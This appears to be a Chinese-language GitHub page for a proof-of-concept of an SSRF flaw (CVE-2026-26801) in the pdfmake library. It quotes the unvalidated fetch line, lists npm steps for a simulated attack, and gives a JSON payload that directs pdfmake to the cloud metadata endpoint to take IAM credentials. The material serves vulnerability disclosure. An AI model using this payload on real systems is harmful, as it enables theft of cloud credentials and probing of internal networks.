mariopepe/CVE-2026-26801-pdfmake-ssrf

GitHub: mariopepe/CVE-2026-26801-pdfmake-ssrf

pdfmake SSRF漏洞(CVE-2026-26801)的完整PoC,演示如何通过未验证的URL获取功能窃取云凭证和探测内网。

Stars: 0 | Forks: 0

# pdfmake SSRF 漏洞 PoC ## 漏洞概述 | 字段 | 值 | |-------|-------| | 软件包 | pdfmake | | 版本 | >= 0.3.0-beta.2, <= 0.3.5 | | 修复版本 | 0.3.6 | | CVE | [CVE-2026-26801](https://www.cve.org/CVERecord?id=CVE-2026-26801) | | 类型 | 服务端请求伪造 (SSRF) | | 位置 | `src/URLResolver.js` | | 严重程度 | HIGH | ## 根本原因 ``` // URLResolver.js line 3 const response = await fetch(url, { headers }); // NO VALIDATION! ``` 当 `docDefinition` 在 `images`、`attachments` 或 `files` 中包含 URL 时,pdfmake 在获取它们时未进行任何验证: - 没有针对域名的允许列表/阻止列表 - 没有针对内部 IP (127.0.0.1, 169.254.169.254, 10.x.x.x) 的保护 - 支持自定义 headers(可绕过认证) ## 复现步骤 ### 环境设置 ``` npm install ``` ### 终端 1 - 模拟 AWS 元数据服务器 ``` npm run metadata ``` ### 终端 2 - 存在漏洞的 PDF 服务器 ``` npm run server ``` ### 终端 3 - 执行攻击 **Blind SSRF**(证明服务器发起了出站请求): ``` npm run attack ``` **完全读取 SSRF**(凭据被嵌入到生成的 PDF 中): ``` npm run exfiltrate ``` ## 预期结果 ### 盲 SSRF (`npm run attack`) **元数据服务器输出:** ``` [METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role [METADATA] >>> CREDENTIALS LEAKED! <<< ``` 这证明了存在漏洞的服务器向我们要控制 的端点发起了出站请求。 ### 完全读取 SSRF (`npm run exfiltrate`) 攻击脚本会生成 `exfiltrated.pdf`。在任何 PDF 查看器中打开它,AWS 凭证 JSON 会作为文件附件 (`metadata.json`) 嵌入其中。这证明了完整的数据渗透,而不仅仅是 Blind SSRF。攻击者可以在 PDF 内部获取实际的响应体。 ## 现实世界影响 1. **AWS/GCP/Azure 凭证窃取** - 访问云元数据端点 2. **内部网络访问** - 触达内部服务 3. **端口扫描** - 枚举内部基础设施 4. **绕过认证** - 使用自定义 headers 绕过认证 ## 攻击载荷 ``` { "content": ["Hello"], "images": { "x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } ``` ## 分析文章 包含发现过程、攻击链和披露时间表的完整技术分析文章:[mariopepe.github.io/cve-2026-26801-pdfmake-ssrf](https://mariopepe.github.io/cve-2026-26801-pdfmake-ssrf)
标签:AWS 凭证泄露, CMS安全, CVE-2026-26801, GitHub, GNU通用公共许可证, IP 地址批量处理, JavaScript, Maven, MITM代理, Node.js, NPM 包, pdfmake, PoC, SSRF, URLResolver, 云元数据窃取, 内网探测, 密码管理, 数据可视化, 数据渗透, 暗色界面, 暴力破解, 服务器端请求伪造, 漏洞验证, 网络安全, 自定义脚本, 隐私保护, 高严重性漏洞